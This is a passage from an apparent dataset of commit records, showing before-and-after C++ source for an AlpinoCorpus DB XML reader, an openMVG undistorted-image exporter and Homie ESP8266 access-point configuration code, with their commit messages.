mgr.prepare(query, ctx);\n } catch (db::XmlException const &e) {\n return false;\n }\n \n return true;\n}\n\n\nstd::string DbCorpusReaderPrivate::readEntry(std::string const &filename) const\n{\n try {\n db::XmlDocument doc(container.getDocument(filename, db::DBXML_LAZY_DOCS));\n std::string content;\n return doc.getContent(content);\n\n } catch (db::XmlException const &e) {\n std::ostringstream msg;\n msg << \"entry \\\"\" << filename\n << \"\\\" cannot be read from \\\"\" << container.getName()\n << \"\\\" (\" << e.what()\n << \")\";\n throw Error(msg.str());\n }\n}\n\nCorpusReader::EntryIterator DbCorpusReaderPrivate::runXPath(std::string const &query) const\n{\n return runXQuery(std::string(\"collection('corpus')\" + query));\n}\n\nCorpusReader::EntryIterator DbCorpusReaderPrivate::runXQuery(std::string const &query)\n const\n{\n \/\/ XXX use DBXML_DOCUMENT_PROJECTION and return to whole-doc containers?\n\n try {\n db::XmlQueryContext ctx\n = mgr.createQueryContext(db::XmlQueryContext::LiveValues,\n db::XmlQueryContext::Lazy);\n ctx.setDefaultCollection(collection);\n db::XmlResults r(mgr.query(query, ctx,\n db::DBXML_LAZY_DOCS\n | db::DBXML_WELL_FORMED_ONLY\n ));\n return EntryIterator(new QueryIter(r, ctx));\n } catch (db::XmlException const &e) {\n throw Error(e.what());\n }\n}\n\n\/*\n * Set corpus name to container name; set collection to a usable collection\n * name.\n *\n * The collection name is used for querying. We set it to the absolute path\n * so we can still run queries after a chdir().\n * For some reason, DB XML strips off a leading slash in the filename,\n * so we prepend an extra one.\n *\/\nvoid DbCorpusReaderPrivate::setNameAndCollection(std::string const &path)\n{\n std::string uri = \"\/\" + name();\n collection = util::toPercentEncoding(uri);\n}\n\n}\n<commit_msg>XQuery: a node is not necessarily from a document.<commit_after>#include <list>\n#include <sstream>\n#include <stdexcept>\n#include <string>\n#include <typeinfo>\n\n#include <dbxml\/DbXml.hpp>\n\n#include <AlpinoCorpus\/CorpusReader.hh>\n#include <AlpinoCorpus\/Error.hh>\n#include <AlpinoCorpus\/IterImpl.hh>\n\n#include \"DbCorpusReaderPrivate.hh\"\n#include \"util\/url.hh\"\n\nnamespace db = DbXml;\n\nnamespace alpinocorpus {\n\n\/* begin() *\/\nDbCorpusReaderPrivate::DbIter::DbIter(db::XmlContainer &container)\n{\n try {\n r = container.getAllDocuments( db::DBXML_LAZY_DOCS\n | db::DBXML_WELL_FORMED_ONLY\n );\n } catch (db::XmlException const &e) {\n throw Error(e.what());\n }\n}\n\n\/* query *\/\nDbCorpusReaderPrivate::DbIter::DbIter(db::XmlResults const &r_)\n : r(r_)\n{\n}\n\n\/* end() *\/\nDbCorpusReaderPrivate::DbIter::DbIter(db::XmlManager &mgr)\n : r(mgr.createResults()) \/\/ builds empty XmlResults\n{\n}\n\nIterImpl *DbCorpusReaderPrivate::DbIter::copy() const\n{\n \/\/ XXX - Copy constructor of XmlResults copies handle but not body.\n \/\/ The copyResults() method returns an XmlResults instance that\n \/\/ is eagerly evaluated. Is there a way to copy XmlResults,\n \/\/ retain the iterator position, and have it lazy?\n\n \/\/ No pointer members\n return new DbIter(*this);\n}\n\nbool DbCorpusReaderPrivate::DbIter::hasNext()\n{\n try {\n return r.hasNext();\n } catch (db::XmlException const &e) {\n if (e.getExceptionCode() == db::XmlException::OPERATION_INTERRUPTED)\n throw IterationInterrupted();\n else\n throw Error(e.what());\n }\n}\n\n\/* operator++ *\/\nEntry DbCorpusReaderPrivate::DbIter::next(CorpusReader const &)\n{\n db::XmlValue v;\n\n try {\n r.next(v);\n } catch (db::XmlException const &e) {\n if (e.getExceptionCode() == db::XmlException::OPERATION_INTERRUPTED)\n throw IterationInterrupted();\n else\n throw Error(e.what());\n }\n \n std::string name;\n std::string value;\n\n if (v.isNode()) {\n value = v.getNodeValue();\n try {\n db::XmlDocument doc = v.asDocument();\n name = doc.getName();\n } catch (db::XmlException &) {\n \/\/ Could not use node as a document. Why is there no isDocument()\n \/\/ method?\n }\n } else if (v.isString())\n value = v.asString();\n\n Entry e = {name, value};\n\n return e;\n}\n\nDbCorpusReaderPrivate::QueryIter::QueryIter(db::XmlResults const &r, db::XmlQueryContext const &ctx)\n : DbIter(r), context(ctx)\n{\n}\n\nvoid DbCorpusReaderPrivate::QueryIter::interrupt()\n{\n context.interruptQuery();\n}\n\nIterImpl *DbCorpusReaderPrivate::QueryIter::copy() const\n{\n \/\/ XXX - See DbIter::copy()\n\n return new QueryIter(*this);\n}\nDbCorpusReaderPrivate::DbCorpusReaderPrivate(std::string const &path)\n : mgr(), container()\n{\n try {\n db::XmlContainerConfig config;\n config.setReadOnly(true);\n container = mgr.openContainer(path, config);\n \/\/ Nasty: using a hard-coded alias to work use in the xpath queries.\n container.addAlias(\"corpus\"); \n setNameAndCollection(path);\n } catch (db::XmlException const &e) {\n throw OpenError(path, e.what());\n }\n}\n\nDbCorpusReaderPrivate::~DbCorpusReaderPrivate()\n{\n}\n\nCorpusReader::EntryIterator DbCorpusReaderPrivate::getEntries() const\n{\n return EntryIterator(new DbIter(container));\n}\n\nstd::string DbCorpusReaderPrivate::getName() const\n{\n return container.getName();\n}\n\nbool DbCorpusReaderPrivate::validQuery(QueryDialect d, bool variables, std::string const &query) const\n{\n try {\n db::XmlQueryContext ctx = mgr.createQueryContext();\n mgr.prepare(query, ctx);\n } catch (db::XmlException const &e) {\n return false;\n }\n \n return true;\n}\n\n\nstd::string DbCorpusReaderPrivate::readEntry(std::string const &filename) const\n{\n try {\n db::XmlDocument doc(container.getDocument(filename, db::DBXML_LAZY_DOCS));\n std::string content;\n return doc.getContent(content);\n\n } catch (db::XmlException const &e) {\n std::ostringstream msg;\n msg << \"entry \\\"\" << filename\n << \"\\\" cannot be read from \\\"\" << container.getName()\n << \"\\\" (\" << e.what()\n << \")\";\n throw Error(msg.str());\n }\n}\n\nCorpusReader::EntryIterator DbCorpusReaderPrivate::runXPath(std::string const &query) const\n{\n return runXQuery(std::string(\"collection('corpus')\" + query));\n}\n\nCorpusReader::EntryIterator DbCorpusReaderPrivate::runXQuery(std::string const &query)\n const\n{\n \/\/ XXX use DBXML_DOCUMENT_PROJECTION and return to whole-doc containers?\n\n try {\n db::XmlQueryContext ctx\n = mgr.createQueryContext(db::XmlQueryContext::LiveValues,\n db::XmlQueryContext::Lazy);\n ctx.setDefaultCollection(collection);\n db::XmlResults r(mgr.query(query, ctx,\n db::DBXML_LAZY_DOCS\n | db::DBXML_WELL_FORMED_ONLY\n ));\n return EntryIterator(new QueryIter(r, ctx));\n } catch (db::XmlException const &e) {\n throw Error(e.what());\n }\n}\n\n\/*\n * Set corpus name to container name; set collection to a usable collection\n * name.\n *\n * The collection name is used for querying. We set it to the absolute path\n * so we can still run queries after a chdir().\n * For some reason, DB XML strips off a leading slash in the filename,\n * so we prepend an extra one.\n *\/\nvoid DbCorpusReaderPrivate::setNameAndCollection(std::string const &path)\n{\n std::string uri = \"\/\" + name();\n collection = util::toPercentEncoding(uri);\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ Copyright (c) 2015 Pierre MOULON.\n\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include \"openMVG\/sfm\/sfm.hpp\"\n#include \"openMVG\/image\/image.hpp\"\n#include \"openMVG\/system\/timer.hpp\"\n\nusing namespace openMVG;\nusing namespace openMVG::cameras;\nusing namespace openMVG::geometry;\nusing namespace openMVG::image;\nusing namespace openMVG::sfm;\n\n#include \"third_party\/cmdLine\/cmdLine.h\"\n#include \"third_party\/progress\/progress.hpp\"\n\n#include <stdlib.h>\n\n#ifdef OPENMVG_USE_OPENMP\n#include <omp.h>\n#endif\n\nint main(int argc, char *argv[]) {\n\n CmdLine cmd;\n std::string sSfM_Data_Filename;\n std::string sOutDir = \"\";\n bool bExportOnlyReconstructedViews = false;\n#ifdef OPENMVG_USE_OPENMP\n int iNumThreads = 0;\n#endif\n\n cmd.add( make_option('i', sSfM_Data_Filename, \"sfmdata\") );\n cmd.add( make_option('o', sOutDir, \"outdir\") );\n cmd.add( make_option('r', bExportOnlyReconstructedViews, \"exportOnlyReconstructed\") );\n\n#ifdef OPENMVG_USE_OPENMP\n cmd.add( make_option('n', iNumThreads, \"numThreads\") );\n#endif\n\n try {\n if (argc == 1) throw std::string(\"Invalid command line parameter.\");\n cmd.process(argc, argv);\n } catch(const std::string& s) {\n std::cerr\n << \"Export undistorted images related to a sfm_data file.\\n\"\n << \"Usage: \" << argv[0] << '\\n'\n << \"[-i|--sfmdata] filename, the SfM_Data file to convert\\n\"\n << \"[-o|--outdir] path\\n\"\n << \"[-r|--exportOnlyReconstructed] path\\n\"\n#ifdef OPENMVG_USE_OPENMP\n << \"[-n|--numThreads] number of parallel computations\\n\"\n#endif\n << std::endl;\n\n std::cerr << s << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ Create output dir\n if (!stlplus::folder_exists(sOutDir))\n stlplus::folder_create( sOutDir );\n\n SfM_Data sfm_data;\n if (!Load(sfm_data, sSfM_Data_Filename, ESfM_Data(VIEWS|INTRINSICS))) {\n std::cerr << std::endl\n << \"The input SfM_Data file \\\"\"<< sSfM_Data_Filename << \"\\\" cannot be read.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n bool bOk = true;\n {\n \n system::Timer timer;\n \/\/ Export views as undistorted images (those with valid Intrinsics)\n Image<RGBColor> image, image_ud;\n C_Progress_display my_progress_bar( sfm_data.GetViews().size(), std::cout, \"\\n- EXTRACT UNDISTORTED IMAGES -\\n\" );\n \n #ifdef OPENMVG_USE_OPENMP\n const unsigned int nb_max_thread = omp_get_max_threads();\n #endif\n \n#ifdef OPENMVG_USE_OPENMP\n omp_set_num_threads(iNumThreads);\n #pragma omp parallel for schedule(dynamic) if(iNumThreads > 0) private(image,image_ud)\n#endif\n for(int i = 0; i < sfm_data.views.size(); ++i)\n {\n#ifdef OPENMVG_USE_OPENMP\n if(iNumThreads == 0) omp_set_num_threads(nb_max_thread);\n#endif\n Views::const_iterator iterViews = sfm_data.views.begin();\n std::advance(iterViews, i); \n \n const View * view = iterViews->second.get();\n \/\/ Check if the view is in reconstruction\n if(bExportOnlyReconstructedViews && !sfm_data.IsPoseAndIntrinsicDefined(view))\n continue;\n \n bool bIntrinsicDefined = view->id_intrinsic != UndefinedIndexT &&\n sfm_data.GetIntrinsics().find(view->id_intrinsic) != sfm_data.GetIntrinsics().end();\n\n Intrinsics::const_iterator iterIntrinsic = sfm_data.GetIntrinsics().find(view->id_intrinsic);\n\n const std::string srcImage = stlplus::create_filespec(sfm_data.s_root_path, view->s_Img_path);\n const std::string dstImage = stlplus::create_filespec(\n sOutDir, stlplus::filename_part(srcImage));\n\n const IntrinsicBase * cam = iterIntrinsic->second.get();\n if (cam->have_disto())\n {\n \/\/ undistort the image and save it\n if (ReadImage( srcImage.c_str(), &image))\n {\n UndistortImage(image, cam, image_ud, BLACK);\n bOk &= WriteImage(dstImage.c_str(), image_ud);\n }\n }\n else \/\/ (no distortion)\n {\n \/\/ copy the image since there is no distortion\n stlplus::file_copy(srcImage, dstImage);\n }\n#ifdef OPENMVG_USE_OPENMP\n #pragma omp critical\n#endif\n ++my_progress_bar;\n }\n std::cout << \"Task done in (s): \" << timer.elapsed() << std::endl;\n }\n\n \/\/ Exit program\n if (bOk)\n return( EXIT_SUCCESS );\n else\n return( EXIT_FAILURE );\n}\n<commit_msg>Corrected loading of SfM data to also load the extrinsics<commit_after>\n\/\/ Copyright (c) 2015 Pierre MOULON.\n\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include \"openMVG\/sfm\/sfm.hpp\"\n#include \"openMVG\/image\/image.hpp\"\n#include \"openMVG\/system\/timer.hpp\"\n\nusing namespace openMVG;\nusing namespace openMVG::cameras;\nusing namespace openMVG::geometry;\nusing namespace openMVG::image;\nusing namespace openMVG::sfm;\n\n#include \"third_party\/cmdLine\/cmdLine.h\"\n#include \"third_party\/progress\/progress.hpp\"\n\n#include <stdlib.h>\n\n#ifdef OPENMVG_USE_OPENMP\n#include <omp.h>\n#endif\n\nint main(int argc, char *argv[]) {\n\n CmdLine cmd;\n std::string sSfM_Data_Filename;\n std::string sOutDir = \"\";\n bool bExportOnlyReconstructedViews = false;\n#ifdef OPENMVG_USE_OPENMP\n int iNumThreads = 0;\n#endif\n\n cmd.add( make_option('i', sSfM_Data_Filename, \"sfmdata\") );\n cmd.add( make_option('o', sOutDir, \"outdir\") );\n cmd.add( make_option('r', bExportOnlyReconstructedViews, \"exportOnlyReconstructed\") );\n\n#ifdef OPENMVG_USE_OPENMP\n cmd.add( make_option('n', iNumThreads, \"numThreads\") );\n#endif\n\n try {\n if (argc == 1) throw std::string(\"Invalid command line parameter.\");\n cmd.process(argc, argv);\n } catch(const std::string& s) {\n std::cerr\n << \"Export undistorted images related to a sfm_data file.\\n\"\n << \"Usage: \" << argv[0] << '\\n'\n << \"[-i|--sfmdata] filename, the SfM_Data file to convert\\n\"\n << \"[-o|--outdir] path\\n\"\n << \"[-r|--exportOnlyReconstructed] path\\n\"\n#ifdef OPENMVG_USE_OPENMP\n << \"[-n|--numThreads] number of parallel computations\\n\"\n#endif\n << std::endl;\n\n std::cerr << s << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ Create output dir\n if (!stlplus::folder_exists(sOutDir))\n stlplus::folder_create( sOutDir );\n\n SfM_Data sfm_data;\n if (!Load(sfm_data, sSfM_Data_Filename, ESfM_Data(VIEWS|INTRINSICS|EXTRINSICS))) {\n std::cerr << std::endl\n << \"The input SfM_Data file \\\"\"<< sSfM_Data_Filename << \"\\\" cannot be read.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n bool bOk = true;\n {\n \n system::Timer timer;\n \/\/ Export views as undistorted images (those with valid Intrinsics)\n Image<RGBColor> image, image_ud;\n C_Progress_display my_progress_bar( sfm_data.GetViews().size(), std::cout, \"\\n- EXTRACT UNDISTORTED IMAGES -\\n\" );\n \n #ifdef OPENMVG_USE_OPENMP\n const unsigned int nb_max_thread = omp_get_max_threads();\n #endif\n \n#ifdef OPENMVG_USE_OPENMP\n omp_set_num_threads(iNumThreads);\n #pragma omp parallel for schedule(dynamic) if(iNumThreads > 0) private(image,image_ud)\n#endif\n for(int i = 0; i < sfm_data.views.size(); ++i)\n {\n#ifdef OPENMVG_USE_OPENMP\n if(iNumThreads == 0) omp_set_num_threads(nb_max_thread);\n#endif\n Views::const_iterator iterViews = sfm_data.views.begin();\n std::advance(iterViews, i); \n \n const View * view = iterViews->second.get();\n \/\/ Check if the view is in reconstruction\n if(bExportOnlyReconstructedViews && !sfm_data.IsPoseAndIntrinsicDefined(view))\n continue;\n \n bool bIntrinsicDefined = view->id_intrinsic != UndefinedIndexT &&\n sfm_data.GetIntrinsics().find(view->id_intrinsic) != sfm_data.GetIntrinsics().end();\n\n Intrinsics::const_iterator iterIntrinsic = sfm_data.GetIntrinsics().find(view->id_intrinsic);\n\n const std::string srcImage = stlplus::create_filespec(sfm_data.s_root_path, view->s_Img_path);\n const std::string dstImage = stlplus::create_filespec(\n sOutDir, stlplus::filename_part(srcImage));\n\n const IntrinsicBase * cam = iterIntrinsic->second.get();\n if (cam->have_disto())\n {\n \/\/ undistort the image and save it\n if (ReadImage( srcImage.c_str(), &image))\n {\n UndistortImage(image, cam, image_ud, BLACK);\n bOk &= WriteImage(dstImage.c_str(), image_ud);\n }\n }\n else \/\/ (no distortion)\n {\n \/\/ copy the image since there is no distortion\n stlplus::file_copy(srcImage, dstImage);\n }\n#ifdef OPENMVG_USE_OPENMP\n #pragma omp critical\n#endif\n ++my_progress_bar;\n }\n std::cout << \"Task done in (s): \" << timer.elapsed() << std::endl;\n }\n\n \/\/ Exit program\n if (bOk)\n return( EXIT_SUCCESS );\n else\n return( EXIT_FAILURE );\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"BootConfig.hpp\"\n\nusing namespace HomieInternals;\n\nBootConfig::BootConfig()\n: Boot(\"config\")\n, _http(80)\n, _ssid_count(0)\n, _last_wifi_scan(0)\n, _last_wifi_scan_ended(true)\n, _flagged_for_reboot(false)\n, _flagged_for_reboot_at(0)\n{\n}\n\nBootConfig::~BootConfig() {\n}\n\nvoid BootConfig::setup() {\n Boot::setup();\n\n char device_id[8 + 1];\n sprintf(device_id, \"%08x\", ESP.getChipId());\n\n Logger.log(\"Device ID is \");\n Logger.logln(device_id);\n\n String tmp_hostname = String(\"Homie-\");\n tmp_hostname += device_id;\n\n WiFi.hostname(tmp_hostname);\n\n digitalWrite(BUILTIN_LED, LOW);\n\n WiFi.mode(WIFI_AP);\n\n IPAddress apIP(192, 168, 1, 1);\n\n WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));\n WiFi.softAP(tmp_hostname.c_str(), device_id);\n\n Logger.log(\"AP started as \");\n Logger.logln(tmp_hostname);\n\n \/\/ Trigger sync Wi-Fi scan (don't do before AP init or doesn't work)\n this->_ssid_count = WiFi.scanNetworks();\n this->_last_wifi_scan = millis();\n this->_json_wifi_networks = this->_generateNetworksJson();\n\n this->_dns.setTTL(300);\n this->_dns.setErrorReplyCode(DNSReplyCode::ServerFailure);\n this->_dns.start(53, \"homie.config\", apIP);\n\n this->_http.on(\"\/heart\", HTTP_GET, [this]() {\n Logger.logln(\"Received heart request\");\n this->_http.send(200, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), \"{\\\"heart\\\":\\\"beat\\\"}\");\n });\n this->_http.on(\"\/networks\", HTTP_GET, std::bind(&BootConfig::_onNetworksRequest, this));\n this->_http.on(\"\/config\", HTTP_PUT, std::bind(&BootConfig::_onConfigRequest, this));\n this->_http.on(\"\/config\", HTTP_OPTIONS, [this]() { \/\/ CORS\n this->_http.sendContent(FPSTR(PROGMEM_CONFIG_CORS));\n });\n this->_http.begin();\n}\n\nString BootConfig::_generateNetworksJson() {\n DynamicJsonBuffer generatedJsonBuffer;\n JsonObject& json = generatedJsonBuffer.createObject();\n\n JsonArray& networks = json.createNestedArray(\"networks\");\n for (int network = 0; network < this->_ssid_count; network++) {\n JsonObject& json_network = generatedJsonBuffer.createObject();\n json_network[\"ssid\"] = WiFi.SSID(network);\n json_network[\"rssi\"] = WiFi.RSSI(network);\n switch (WiFi.encryptionType(network)) {\n case ENC_TYPE_WEP:\n json_network[\"encryption\"] = \"wep\";\n break;\n case ENC_TYPE_TKIP:\n json_network[\"encryption\"] = \"wpa\";\n break;\n case ENC_TYPE_CCMP:\n json_network[\"encryption\"] = \"wpa2\";\n break;\n case ENC_TYPE_NONE:\n json_network[\"encryption\"] = \"none\";\n break;\n case ENC_TYPE_AUTO:\n json_network[\"encryption\"] = \"auto\";\n break;\n }\n\n networks.add(json_network);\n }\n\n \/\/ 15 bytes: {\"networks\":[]}\n \/\/ 75 bytes: {\"ssid\":\"thisisa32characterlongstringyes!\",\"rssi\":-99,\"encryption\":\"none\"}, (-1 for leading \",\"), +1 for terminator\n char json_string[15 + (75 * this->_ssid_count) - 1 + 1];\n size_t json_length = json.printTo(json_string, sizeof(json_string));\n return String(json_string);\n}\n\nvoid BootConfig::_onNetworksRequest() {\n Logger.logln(\"Received networks request\");\n this->_http.send(200, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), this->_json_wifi_networks);\n}\n\nvoid BootConfig::_onConfigRequest() {\n Logger.logln(\"Received config request\");\n if (this->_flagged_for_reboot) {\n Logger.logln(\"✖ Device already configured\");\n this->_http.send(403, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n StaticJsonBuffer<JSON_OBJECT_SIZE(7)> parseJsonBuffer; \/\/ Max seven elements in object\n JsonObject& parsed_json = parseJsonBuffer.parseObject((char*)this->_http.arg(\"plain\").c_str());\n if (!parsed_json.success()) {\n Logger.logln(\"✖ Invalid or too big JSON\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n if (!parsed_json.containsKey(\"name\") || !parsed_json[\"name\"].is<const char*>()) {\n Logger.logln(\"✖ name is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (!parsed_json.containsKey(\"wifi_ssid\") || !parsed_json[\"wifi_ssid\"].is<const char*>()) {\n Logger.logln(\"✖ wifi_ssid is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (!parsed_json.containsKey(\"wifi_password\") || !parsed_json[\"wifi_password\"].is<const char*>()) {\n Logger.logln(\"✖ wifi_password is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (!parsed_json.containsKey(\"homie_host\") || !parsed_json[\"homie_host\"].is<const char*>()) {\n Logger.logln(\"✖ homie_host is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (parsed_json.containsKey(\"homie_port\") && !parsed_json[\"homie_port\"].is<uint16_t>()) {\n Logger.logln(\"✖ homie_port is not an unsigned integer\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (parsed_json.containsKey(\"homie_ota_path\") && !parsed_json[\"homie_ota_path\"].is<const char*>()) {\n Logger.logln(\"✖ homie_ota_path is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (parsed_json.containsKey(\"homie_ota_port\") && !parsed_json[\"homie_ota_port\"].is<uint16_t>()) {\n Logger.logln(\"✖ homie_ota_port is not an unsigned integer\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n const char* req_name = parsed_json[\"name\"];\n const char* req_wifi_ssid = parsed_json[\"wifi_ssid\"];\n const char* req_wifi_password = parsed_json[\"wifi_password\"];\n const char* req_homie_host = parsed_json[\"homie_host\"];\n uint16_t req_homie_port = DEFAULT_HOMIE_PORT;\n if (parsed_json.containsKey(\"homie_port\")) {\n req_homie_port = parsed_json[\"homie_port\"].as<uint16_t>();\n }\n const char* req_homie_ota_path = DEFAULT_HOMIE_OTA_PATH;\n if (parsed_json.containsKey(\"homie_ota_path\")) {\n req_homie_ota_path = parsed_json[\"homie_ota_path\"];\n }\n uint16_t req_homie_ota_port = DEFAULT_HOMIE_OTA_PORT;\n if (parsed_json.containsKey(\"homie_ota_port\")) {\n req_homie_ota_port = parsed_json[\"homie_ota_port\"].as<uint16_t>();\n }\n\n if (strcmp(req_name, \"\") == 0) {\n Logger.logln(\"✖ name is empty\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (strcmp(req_wifi_ssid, \"\") == 0) {\n Logger.logln(\"✖ wifi_ssid is empty\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (strcmp(req_homie_host, \"\") == 0) {\n Logger.logln(\"✖ homie_host is empty\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n \/\/ Check if hostname only [a-z0-9\\-]\n for (int i = 0; i < strlen(req_name); i++){\n if (!((req_name[i] >= 'a' && req_name[i] <= 'z') || (req_name[i] >= '0' && req_name[i] <= '9') || req_name[i] == '-')) {\n Logger.logln(\"✖ name contains unauthorized characters\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n }\n \/\/ Check if hostname doesn't start or end with '-'\n if (req_name[0] == '-' || req_name[strlen(req_name) - 1] == '-') {\n Logger.logln(\"✖ name starts or ends with a dash\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n Config.hostname = req_name;\n Config.wifi_ssid = req_wifi_ssid;\n Config.wifi_password = req_wifi_password;\n Config.homie_host = req_homie_host;\n Config.homie_port = req_homie_port;\n Config.homie_ota_path = req_homie_ota_path;\n Config.homie_ota_port = req_homie_ota_port;\n Config.boot_mode = BOOT_NORMAL;\n Config.configured = true;\n Config.save();\n Config.log();\n\n Logger.logln(\"✔ Configured\");\n\n this->_http.send(200, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), \"{\\\"success\\\":true}\");\n\n this->_flagged_for_reboot = true; \/\/ We don't reboot immediately, otherwise the response above is not sent\n this->_flagged_for_reboot_at = millis();\n}\n\nvoid BootConfig::loop() {\n Boot::loop();\n\n this->_dns.processNextRequest();\n this->_http.handleClient();\n\n if (this->_flagged_for_reboot) {\n if (millis() - this->_flagged_for_reboot_at >= 5000UL) {\n Logger.logln(\"↻ Rebooting in normal mode\");\n ESP.restart();\n }\n\n return;\n }\n\n if (!this->_last_wifi_scan_ended) {\n int8_t scan_result = WiFi.scanComplete();\n\n switch (scan_result) {\n case WIFI_SCAN_RUNNING:\n return;\n case WIFI_SCAN_FAILED:\n Logger.logln(\"✖ Wi-Fi scan failed\");\n this->_ssid_count = 0;\n break;\n default:\n Logger.logln(\"✔ Wi-Fi scan completed\");\n this->_ssid_count = scan_result;\n this->_json_wifi_networks = this->_generateNetworksJson();\n break;\n }\n\n this->_last_wifi_scan_ended = true;\n }\n\n unsigned long now = millis();\n if (now - this->_last_wifi_scan >= 20000UL && this->_last_wifi_scan_ended) {\n Logger.logln(\"Triggering Wi-Fi scan\");\n WiFi.scanNetworks(true);\n this->_last_wifi_scan = now;\n this->_last_wifi_scan_ended = false;\n }\n}\n<commit_msg>Fix #9<commit_after>#include \"BootConfig.hpp\"\n\nusing namespace HomieInternals;\n\nBootConfig::BootConfig()\n: Boot(\"config\")\n, _http(80)\n, _ssid_count(0)\n, _last_wifi_scan(0)\n, _last_wifi_scan_ended(true)\n, _flagged_for_reboot(false)\n, _flagged_for_reboot_at(0)\n{\n}\n\nBootConfig::~BootConfig() {\n}\n\nvoid BootConfig::setup() {\n Boot::setup();\n\n char chip_id[6 + 1];\n sprintf(chip_id, \"%06x\", ESP.getChipId());\n char flash_chip_id[6 + 1];\n sprintf(flash_chip_id, \"%06x\", ESP.getFlashChipId());\n\n String truncated_flash_id = String(flash_chip_id);\n truncated_flash_id = truncated_flash_id.substring(4);\n\n String device_id = String(chip_id);\n device_id += truncated_flash_id;\n\n Logger.log(\"Device ID is \");\n Logger.logln(device_id);\n\n String tmp_hostname = String(\"Homie-\");\n tmp_hostname += device_id;\n\n WiFi.hostname(tmp_hostname);\n\n digitalWrite(BUILTIN_LED, LOW);\n\n WiFi.mode(WIFI_AP);\n\n IPAddress apIP(192, 168, 1, 1);\n\n WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));\n WiFi.softAP(tmp_hostname.c_str(), device_id.c_str());\n\n Logger.log(\"AP started as \");\n Logger.logln(tmp_hostname);\n\n \/\/ Trigger sync Wi-Fi scan (don't do before AP init or doesn't work)\n this->_ssid_count = WiFi.scanNetworks();\n this->_last_wifi_scan = millis();\n this->_json_wifi_networks = this->_generateNetworksJson();\n\n this->_dns.setTTL(300);\n this->_dns.setErrorReplyCode(DNSReplyCode::ServerFailure);\n this->_dns.start(53, \"homie.config\", apIP);\n\n this->_http.on(\"\/heart\", HTTP_GET, [this]() {\n Logger.logln(\"Received heart request\");\n this->_http.send(200, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), \"{\\\"heart\\\":\\\"beat\\\"}\");\n });\n this->_http.on(\"\/networks\", HTTP_GET, std::bind(&BootConfig::_onNetworksRequest, this));\n this->_http.on(\"\/config\", HTTP_PUT, std::bind(&BootConfig::_onConfigRequest, this));\n this->_http.on(\"\/config\", HTTP_OPTIONS, [this]() { \/\/ CORS\n this->_http.sendContent(FPSTR(PROGMEM_CONFIG_CORS));\n });\n this->_http.begin();\n}\n\nString BootConfig::_generateNetworksJson() {\n DynamicJsonBuffer generatedJsonBuffer;\n JsonObject& json = generatedJsonBuffer.createObject();\n\n JsonArray& networks = json.createNestedArray(\"networks\");\n for (int network = 0; network < this->_ssid_count; network++) {\n JsonObject& json_network = generatedJsonBuffer.createObject();\n json_network[\"ssid\"] = WiFi.SSID(network);\n json_network[\"rssi\"] = WiFi.RSSI(network);\n switch (WiFi.encryptionType(network)) {\n case ENC_TYPE_WEP:\n json_network[\"encryption\"] = \"wep\";\n break;\n case ENC_TYPE_TKIP:\n json_network[\"encryption\"] = \"wpa\";\n break;\n case ENC_TYPE_CCMP:\n json_network[\"encryption\"] = \"wpa2\";\n break;\n case ENC_TYPE_NONE:\n json_network[\"encryption\"] = \"none\";\n break;\n case ENC_TYPE_AUTO:\n json_network[\"encryption\"] = \"auto\";\n break;\n }\n\n networks.add(json_network);\n }\n\n \/\/ 15 bytes: {\"networks\":[]}\n 